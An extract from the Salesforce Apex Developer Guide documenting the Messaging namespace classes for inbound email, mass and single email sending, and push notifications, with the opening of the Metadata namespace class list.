Indicates whether the plain body text is truncated (true) or not (false.)
Signature
public Boolean plainTextBodyIsTruncated {get; set;}
Property Value
Type: Boolean
references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs,
and possibly the In-Reply-To fields.
Signature
public String[] references {get; set;}
Property Value
Type: String[]
replyTo
The email address that appears in the reply-to header.
1971
Signature
public String replyTo {get; set;}
Property Value
Type: String
Usage
If there is no reply-to header, this field is identical to the fromAddress field.
subject
The subject line of the email, if any.
Signature
public String subject {get; set;}
Property Value
Type: String
textAttachments
A list of text attachments received with the email, if any.
Signature
public InboundEmail.TextAttachment[] textAttachments {get; set;}
Property Value
Type: InboundEmail.TextAttachment[]
Usage
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
toAddresses
The email address that appears in the To field.
Signature
public String[] toAddresses {get; set;}
1972
Property Value
Type: String[]
InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Namespace
Messaging
Usage
Examples of binary attachments include image, audio, application, and video files.
IN THIS SECTION:
InboundEmail.BinaryAttachment Constructors
InboundEmail.BinaryAttachment Properties
InboundEmail.BinaryAttachment Constructors
The following are constructors for InboundEmail.BinaryAttachment.
IN THIS SECTION:
InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.
InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.
Signature
public InboundEmail.BinaryAttachment()
InboundEmail.BinaryAttachment Properties
The following are properties for InboundEmail.BinaryAttachment.
IN THIS SECTION:
body
The body of the attachment.
fileName
The name of the attached file.
1973
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
mimeTypeSubType
The primary and sub MIME-type.
body
Signature
public Blob body {get; set;}
Property Value
Type: Blob
fileName
Signature
public String fileName {get; set;}
Property Value
Type: String
headers
Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}
Property Value
Type: List<Messaging.InboundEmail.Header>
mimeTypeSubType
Signature
public String mimeTypeSubType {get; set;}
1974
Property Value
Type: String
InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
Namespace
Messaging
Usage
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
IN THIS SECTION:
InboundEmail.TextAttachment Constructors
InboundEmail.TextAttachment Properties
InboundEmail.TextAttachment Constructors
The following are constructors for InboundEmail.TextAttachment.
IN THIS SECTION:
InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.
InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.
Signature
public InboundEmail.TextAttachment()
InboundEmail.TextAttachment Properties
The following are properties for InboundEmail.TextAttachment.
IN THIS SECTION:
body
1975
bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)
charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
fileName
headers
mimeTypeSubType
body
Signature
public String body {get; set;}
Property Value
Type: String
bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)
Signature
public Boolean bodyIsTruncated {get; set;}
Property Value
Type: Boolean
charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
Signature
public String charset {get; set;}
Property Value
Type: String
1976
fileName
Signature
Property Value
Type: String
headers
Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}
Property Value
Type: List<Messaging.InboundEmail.Header>
mimeTypeSubType
Signature
public String mimeTypeSubType {get; set;}
Property Value
Type: String
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.
Namespace
Messaging
InboundEmailResult Properties
The following are properties for InboundEmailResult.
1977
IN THIS SECTION:
message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.
success
A value that indicates whether the email was successfully processed.
message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.
Signature
public String message {get; set;}
Property Value
Type: String
success
A value that indicates whether the email was successfully processed.
Signature
Property Value
Type: Boolean
Usage
If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the
Message field.
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Namespace
Messaging
InboundEnvelope Properties
The following are properties for InboundEnvelope.
1978
IN THIS SECTION:
fromAddress
The name that appears in the From field of the envelope, if any.
toAddress
The name that appears in the To field of the envelope, if any.
fromAddress
The name that appears in the From field of the envelope, if any.
Signature
public String fromAddress {get; set;}
Property Value
Type: String
toAddress
The name that appears in the To field of the envelope, if any.
Signature
public String toAddress {get; set;}
Property Value
Type: String
MassEmailMessage Class
Contains methods for sending mass email.
Namespace
Messaging
Usage
MassEmailMessage extends Email and inherits all of its methods. All base email (Email class) methods are also available to the
MassEmailMessage objects.
IN THIS SECTION:
MassEmailMessage Constructors
1979
MassEmailMessage Methods
SEE ALSO:
MassEmailMessage Constructors
The following are constructors for MassEmailMessage.
IN THIS SECTION:
MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.
MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.
Signature
public MassEmailMessage()
MassEmailMessage Methods
The following are methods for MassEmailMessage. All are instance methods. All base email (Email class) methods are also
available to the MassEmailMessage objects. These methods are described in Email Class (Base Email Methods).
IN THIS SECTION:
setDescription(description)
The description of the email.
setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge
fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps
to further ensure that merge fields in the template contain the correct data.
The description of the email.
Signature
public Void setDescription(String description)
1980
Parameters
description
Type: String
Return Value
Type: Void
setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge
fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
Signature
public Void setTargetObjectIds(ID[] targetObjectIds)
Parameters
targetObjectIds
Type: ID[]
Return Value
Type: Void
Usage
You can list up to 250 IDs per email. If you specify a value for the targetObjectIds field, optionally specify a whatId as well to
set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data.
Do not specify the IDs of records that have the Email Opt Out option selected.
All emails must have a recipient value in at least one of the following fields:
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to
further ensure that merge fields in the template contain the correct data.
Signature
public Void setWhatIds(ID[] whatIds)
1981
Parameters
whatIds
Type: ID[]
Return Value
Type: Void
Usage
The values must be one of the following types:
• Contract
• Case
• Opportunity
• Product
Note: If you specify whatIds, specify one for each targetObjectId; otherwise, you will receive an INVALID_ID_FIELD
error.
InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.
Namespace
Messaging
InboundEmail.Header Properties
The following are properties for InboundEmail.Header.
IN THIS SECTION:
name
The name of the header parameter, such as Date or Message-ID.
value
The value of the header.
name
The name of the header parameter, such as Date or Message-ID.
Signature
Property Value
Type: String
1982
value
The value of the header.
Signature
public String value {get; set;}
Property Value
Type: String
PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.
Namespace
Messaging
Example
This sample Apex trigger sends push notifications to the connected app named Test_App, which corresponds to a mobile app on
iOS mobile clients. The trigger fires after cases have been updated and sends the push notification to two users: the case owner and the
user who last modified the case.
trigger caseAlert on Case (after update) {
for(Case cs : Trigger.New)
{
// Instantiating a notification
Messaging.PushNotification msg =
new Messaging.PushNotification();
// Assembling the necessary payload parameters for Apple.

// Apple params are:
// (<alert text>,<alert sound>,<badge count>,
// <free-form data>)
// This example doesn't use badge count or free-form data.
// The number of notifications that haven't been acted
// upon by the intended recipient is best calculated
// at the time of the push. This timing helps
// ensure accuracy across multiple target devices.
Map<String, Object> payload =
Messaging.PushNotificationPayload.apple(
'Case ' + cs.CaseNumber + ' status changed to: '
+ cs.Status, '', null, null);
// Adding the assembled payload to the notification

msg.setPayload(payload);
// Getting recipient users

String userId1 = cs.OwnerId;
1983
String userId2 = cs.LastModifiedById;
// Adding recipient users to list

Set<String> users = new Set<String>();
users.add(userId1);
users.add(userId2);
// Sending the notification to the specified app and users.

// Here we specify the API name of the connected app.
msg.send('Test_App', users);
}
}
IN THIS SECTION:
PushNotification Constructors
PushNotification Methods
PushNotification Constructors
The following are the constructors for PushNotification.
IN THIS SECTION:
PushNotification()
Creates a new instance of the Messaging.PushNotification class.
PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value
pairs. When you use this constructor, you don’t need to call setPayload to set the payload.
PushNotification()
Creates a new instance of the Messaging.PushNotification class.
Signature
public PushNotification()
PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value pairs.
When you use this constructor, you don’t need to call setPayload to set the payload.
Signature
public PushNotification(Map<String,Object> payload)
1984
Parameters
payload
Type:Map<String, Object>
The payload, expressed as a map of key-value pairs.
PushNotification Methods
The following are the methods for PushNotification. All are global methods.
IN THIS SECTION:
send(application, users)
Sends a push notification message to the specified users.
setPayload(payload)
Sets the payload of the push notification message.
setTtl(ttl)
send(application, users)
Sends a push notification message to the specified users.
Signature
public void send(String application, Set<String> users)
Parameters
application
Type: String
The connected app API name. This corresponds to the mobile client app the notification should be sent to.
users
Type: Set
A set of user IDs that correspond to the users the notification should be sent to.
Example
See the Push Notification Example.
setPayload(payload)
Sets the payload of the push notification message.
Signature
public void setPayload(Map<String,Object> payload)
1985
Parameters
payload
Type: Map<String, Object>
The payload, expressed as a map of key-value pairs.
Payload parameters can be different for each mobile OS vendor. For more information on Apple’s payload parameters, search for
“Apple Push Notification Service” at https://developer.apple.com/library/mac/documentation/.
To create the payload for an Apple device, see the PushNotificationPayload Class.
Example
setTtl(ttl)
Signature
public void setTtl(Integer ttl)
Parameters
ttl
Type: Integer
PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.
Namespace
Messaging
Usage
Apple has specific requirements for the notification payload. and this class has helper methods to create the payload. For more information
on Apple’s payload parameters, search for “Apple Push Notification Service” at https://developer.apple.com/library/mac/documentation/.
Example
IN THIS SECTION:
PushNotificationPayload Methods
1986
PushNotificationPayload Methods
The following are the methods for PushNotificationPayload. All are global static methods.
IN THIS SECTION:
apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
apple(alert, sound, badgeCount, userData)

Signature
public static Map<String,Object> apple(String alert, String sound, Integer badgeCount,
Map<String,Object> userData)
Parameters
alert
Type: String
Notification message to be sent to the mobile client.
sound
Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount
Type: Integer
Number to display as the badge of the application icon.
userData
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs
of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.
Return Value
Type:Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.
Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.
Example
1987
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount,

userData)
Signature
public static Map<String,Object> apple(String alertBody, String actionLocKey, String
locKey, String[] locArgs, String launchImage, String sound, Integer badgeCount,
Map<String,Object> userData)
Parameters
alertBody
Type: String
Text of the alert message.
actionLocKey
Type: String
If a value is specified for the actionLocKey argument, an alert with two buttons is displayed. The value is a key to get a localized
string in a Localizable.strings file to use for the right button’s title.
locKey
Type: String
Key to an alert-message string in a Localizable.strings file for the current localization.
locArgs
Type: List<String>
Variable string values to appear in place of the format specifiers in locKey.
launchImage
Type: String
File name of an image file in the application bundle.
sound
Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount
Type: Integer
Number to display as the badge of the application icon.
userData
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs
of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.
Return Value
Returns a formatted payload that includes all of the specified arguments.
1988
Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.
RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.
Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateBodyResult Methods
RenderEmailTemplateBodyResult Methods
The following are methods for RenderEmailTemplateBodyResult.
IN THIS SECTION:
getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.
getSuccess()
Indicates whether the operation was successful.
getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
Signature
public List<Messaging.RenderEmailTemplateError> getErrors()
Return Value
Type: List<Messaging.RenderEmailTemplateError>
getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.
Signature
public String getMergedBody()
1989
Return Value
Type: String
getSuccess()
Indicates whether the operation was successful.
Signature
public Boolean getSuccess()
Return Value
Type: Boolean
RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.
Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateError Methods
RenderEmailTemplateError Methods
The following are methods for RenderEmailTemplateError.
IN THIS SECTION:
getFieldName()
Returns the name of the merge field in the error.
getMessage()
Returns a message describing the error.
getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.
getStatusCode()
Returns a Salesforce API status code.
getFieldName()
Returns the name of the merge field in the error.
Signature
public String getFieldName()
1990
Return Value
Type: String
getMessage()
Returns a message describing the error.
Signature
Return Value
Type: String
getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.
Signature
public Integer getOffset()
Return Value
Type: Integer
getStatusCode()
Returns a Salesforce API status code.
Signature
public System.StatusCode getStatusCode()
Return Value
Type: System.StatusCode
SendEmailError Class
Represents an error that the SendEmailResult object may contain.
Namespace
Messaging
SendEmailError Methods
The following are methods for SendEmailError. All are instance methods.
1991
IN THIS SECTION:
getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
The text of the error message.
getStatusCode()
getTargetObjectId()
The ID of the target record for which the error occurred.
getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
Signature
public String[] getFields()
Return Value
Type: String[]
getMessage()
The text of the error message.
Signature
Return Value
Type: String
getStatusCode()
Signature
public System.StatusCode getStatusCode()
Return Value
Type: System.StatusCode
1992
Usage
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for
your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
getTargetObjectId()
The ID of the target record for which the error occurred.
Signature
public String getTargetObjectId()
Return Value
Type: String
SendEmailResult Class
Contains the result of sending an email message.
Namespace
Messaging
SendEmailResult Methods
The following are methods for SendEmailResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.
isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does
not mean the intended recipients received the email, as there could have been a problem with the email address or it could have
bounced or been blocked by a spam blocker.
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.
Signature
public SendEmailError[] getErrors()
Return Value
Type: Messaging.SendEmailError[]
1993
isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not
mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced
or been blocked by a spam blocker.
Signature
Return Value
Type: Boolean
Contains methods for sending single email messages.
Namespace
Messaging
Usage
SingleEmailMessage extends Email and inherits all of its methods. All base email (Email class) methods are also available to the
SingleEmailMessage objects.
Email properties are readable and writable. Each property has corresponding setter and getter methods. For example, the
toAddresses() property is equivalent to the setToAddresses() and getToAddresses() methods. Only the setter
methods are documented.
IN THIS SECTION:
SingleEmailMessage Constructors
SEE ALSO:
SingleEmailMessage Constructors
The following are constructors for SingleEmailMessage.
IN THIS SECTION:
SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.
1994
SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.
Signature
public SingleEmailMessage()
The following are methods for SingleEmailMessage. All are instance methods. All base email (Email class) methods are also
available to the SingleEmailMessage objects. These methods are described in Email Class (Base Email Methods).
IN THIS SECTION:
setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The
maximum allowed is 25.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum
allowed is 25.
setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.
setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you
want to attach to the email.
setEntityAttachments(ids)
Optional. Array of IDs of Document, ContentVersion, or Attachment items to attach to the email.
setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.
setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated
with the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you
can define both setHtmlBody and setPlainTextBody.
setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).
setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines
the behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients
aren’t checked and those recipients always receive the email.
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody,
or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
1995
setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field
cannot be set if the setSenderDisplayName field is already set.
setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.
setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you
specify sets the context and ensures that merge fields in the template contain the correct data.
setTemplateId(templateId)
Required if using a template, optional otherwise. The ID of the template used to create the email.
setToAddresses(toAddresses)
Optional. A list of email addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum number
of email addresses allowed is 100.
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.
setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isn’t a recipient of the email. The default is true.
setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure
that merge fields in the template contain the correct data.
setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The
maximum allowed is 25.
Signature
public Void setBccAddresses(String[] bccAddresses)
Parameters
bccAddresses
Type: String[]
Return Value
Type: Void
Usage
1996
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following
error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce representative for
information on BCC compliance.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum
allowed is 25.
Signature
public Void setCcAddresses(String[] ccAddresses)
Parameters
ccAddresses
Type: String[]
Return Value
Type: Void
Usage
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.
Signature
public Void setCharset(String characterSet)
Parameters
characterSet
Type: String
1997
Return Value
Type: Void
setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you want
to attach to the email.
Signature
public Void setDocumentAttachments(ID[] documentIds)
Parameters
documentIds
Type: ID[]
Return Value
Type: Void
Usage
You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB.
setEntityAttachments(ids)
Optional. Array of IDs of Document, ContentVersion, or Attachment items to attach to the email.
Signature
public void setEntityAttachments(List<String> ids)
Parameters
ids
Type: List<String>
Return Value
Type: void
setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.
Signature
public Void setFileAttachments(EmailFileAttachment[] fileNames)
1998
Parameters
fileNames
Type: Messaging.EmailFileAttachment[]
Return Value
Type: Void
Usage
You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.
setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with
the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define
both setHtmlBody and setPlainTextBody.
Signature
public Void setHtmlBody(String htmlBody)
Parameters
htmlBody
Type: String
Return Value
Type: Void
setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).
Signature
public Void setInReplyTo(String parentMessageIds)
Parameters
parentMessageIds
Type: String
Contains one or more parent email message IDs.
Return Value
Type: Void
1999
setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the
behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients aren’t
checked and those recipients always receive the email.
Signature
public void setOptOutPolicy(String emailOptOutPolicy)
Parameters
emailOptOutPolicy
Type: String
Possible values of the emailOptOutPolicy parameter are:
• SEND (default)—The email is sent to all recipients and the Email Opt Out option of the recipients is ignored.
• FILTER—No email is sent to the recipients that have the Email Opt Out option set and emails are sent to the other
recipients.
• REJECT—If any of the recipients have the Email Opt Out option set, sendEmail() throws an error and no email is
sent.
Return Value
Type: void
Example
This example shows how to send an email with the opt-out setting enforced. Recipients are specified by their IDs. The FILTER option
causes the email to be sent only to recipients that haven’t opted out from email. This example uses dot notation of the email properties,
which is equivalent to using the set methods.
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
// Set recipients to two contact IDs.
// Replace IDs with valid record IDs in your org.
message.toAddresses = new String[] { '003D000000QDexS', '003D000000QDfW5' };
message.optOutPolicy = 'FILTER';
message.subject = 'Opt Out Test Message';
message.plainTextBody = 'This is the message body.';
Messaging.SingleEmailMessage[] messages =
new List<Messaging.SingleEmailMessage> {message};
Messaging.SendEmailResult[] results = Messaging.sendEmail(messages);
if (results[0].success) {
System.debug('The email was sent successfully.');
} else {
System.debug('The email failed to send: '
+ results[0].errors[0].message);
}
2000
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or
Signature
public Void setPlainTextBody(String plainTextBody)
Parameters
plainTextBody
Type: String
Return Value
Type: Void
setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field cannot
be set if the setSenderDisplayName field is already set.
Signature
public Void setOrgWideEmailAddressId(ID emailAddressId)
Parameters
emailAddressId
Type: ID
Return Value
Type: Void
setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
Signature
public Void setReferences(String references)
Parameters
references
Type: String
2001
Return Value
Type: Void
setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.
Signature
public Void setSubject(String subject)
Parameters
subject
Type: String
Return Value
Type: Void
setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify
sets the context and ensures that merge fields in the template contain the correct data.
Signature
public Void setTargetObjectId(ID targetObjectId)
Parameters
targetObjectId
Type: ID
Return Value
Type: Void
Usage
Do not specify the IDs of records that have the Email Opt Out option selected.
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
2002
Required if using a template, optional otherwise. The ID of the template used to create the email.
Signature
public Void setTemplateId(ID templateId)
Parameters
templateId
Type: ID
Return Value
Type: Void
setToAddresses(toAddresses)
Optional. A list of email addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum number of
email addresses allowed is 100.
Signature
public Void setToAddresses(String[] toAddresses)
Parameters
toAddresses
Type: String[]
Return Value
Type: Void
Usage
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.
Signature
public void setTreatBodiesAsTemplate(Boolean treatAsTemplate)
2003
Parameters
treatAsTemplate
Type: Boolean
Return Value
Type: void
setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isn’t a recipient of the email. The default is true.
Signature
public void setTreatTargetObjectAsRecipient(Boolean treatAsRecipient)
Parameters
treatAsRecipient
Type: Boolean
Return Value
Type: void
Usage
Note: You can set TO, CC, and BCC addresses using the email messaging methods regardless of whether a template is used for
the email or the target object is a recipient.
setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure
that merge fields in the template contain the correct data.
Signature
public Void setWhatId(ID whatId)
Parameters
whatId
Type: ID
Return Value
Type: Void
2004
Apex Developer Guide Metadata Namespace
Usage
The value must be one of the following types:
• Account
• Asset
• Campaign
• Case
• Contract
• Opportunity
• Order
• Product
• Solution
• Custom
Metadata Namespace
The Metadata namespace provides classes and methods for working with custom metadata in Salesforce
that admins control or configuration information applied by installed apps and packages. Use the classes in the Metadata namespace
to access metadata from within Apex code.
Metadata access in Apex is available for Apex classes using API version 40.0 and later.
For more information, see Metadata.
The following are the classes in the Metadata namespace.
IN THIS SECTION:
AnalyticsCloudComponentLayoutItem Class
Represents the settings for a Wave Analytics dashboard on a standard or custom page.
ConsoleComponent Class
Represents a custom console component on a section of a page layout.
Container Class
Represents a location and style in which to display more than one custom console component in the sidebars of the console.
CustomConsoleComponents Class
Represents custom console components (Visualforce pages, lookup fields, or related lists) on a page layout.
CustomMetadata Class
Represents records of custom metadata types.
CustomMetadataValue Class
Represents custom metadata values for a custom metadata component.
DeployCallback Interface
An interface for metadata deployment callback classes.
DeployCallbackContext Class
Represents context information for a deployment job.
2005
DeployContainer Class
Represents a container for custom metadata components to be deployed.
DeployDetails Class
Contains detailed information on deployed components.
DeployMessage Class
Represents result information for the deployment of a metadata component.
DeployProblemType Enum
Describes the problem type for an unsuccessful component deploy.
DeployResult Class
Represents the results of a metadata deployment.
DeployStatus Enum
The result status of a deployment.
FeedItemTypeEnum Enum
The type of feed item in a feed-based page layout.
FeedLayout Class
Represents the values that define the feed view of a feed-based page layout. Feed-based layouts are available on Account, Case,
Contact, Lead, Opportunity, custom, and external objects. They include a feed view and a detail view.
FeedLayoutComponent Class
Represents a component in the feed view of a feed-based page layout.
FeedLayoutComponentType Enum
Indicates the type of feed layout component.
FeedLayoutFilter Class
Represents a feed filter option in the feed view of a feed-based page layout. A filter can have only standardFilter or
feedItemType set.
FeedLayoutFilterPosition Enum
Describes where the feed filters list is included in the layout.
FeedLayoutFilterType Enum
The type of feed layout filter.
Layout Class
Represents the metadata associated with a page layout.
LayoutColumn Class
Represents the items in a column within a layout section.
LayoutHeader Enum
Represents tagging types used for Metadata.Layout.headers
LayoutItem Class
Represents the valid values that define a layout item.
LayoutSection Class
Represents a section of a page layout, such as the Custom Links section.
LayoutSectionStyle Enum
Describes the possible styles for a layout section.
2006
Metadata Class
An abstract base class that represents a custom metadata component.
MetadataType Enum
Represents the custom metadata components available in Apex.
MetadataValue Class
An abstract base class that represents a custom metadata component field.
MiniLayout Class
Represents a mini view of a record in the Console tab, hover details, and event overlays.
Operations Class
Represents a class to execute metadata operations, such as retrieving or deploying custom metadata.
PlatformActionList Class
Represents the list of actions, and their order, that display in the Salesforce1 action bar for the layout.
PlatformActionListContextEnum Enum
Describes the different contexts of action lists.
PlatformActionListItem Class
Represents an action in the platform action list for a layout.
PlatformActionTypeEnum Enum
The type of action for a PlatformActionListItem.
PrimaryTabComponents Class
Represents custom console components on primary tabs in the Salesforce console.
QuickActionList Class
Represents the list of actions associated with the page layout.
QuickActionListItem Class
Represents an action in the QuickActionList.
RelatedContent Class
Represents the Mobile Cards section of the page layout.
RelatedContentItem Class
Represents an individual item in the RelatedContent list.
RelatedList Class
Represents related list custom components on the sidebars of the Salesforce console.
RelatedListItem Class
Represents an item in the related list in a page layout.
ReportChartComponentLayoutItem Class
Represents the settings for a report chart on a standard or custom page.
ReportChartComponentSize Enum
Describes the size of the displayed report chart component.
SidebarComponent Class
Represents a specific custom console component to display in a container that hosts multiple components in one of the sidebars
of the Salesforce console.
SortOrder Enum
Describes the sort order of a related list.
2007
SubtabComponents Class
Represents custom console components on subtabs in the Salesforce console.
SummaryLayoutStyleEnum Enum
Describes the highlights panel style for a SummaryLayout.
SummaryLayout Class
Controls the appearance of the highlights panel, which summarizes key fields in a grid at the top of a page layout, when Case Feed
is enabled.
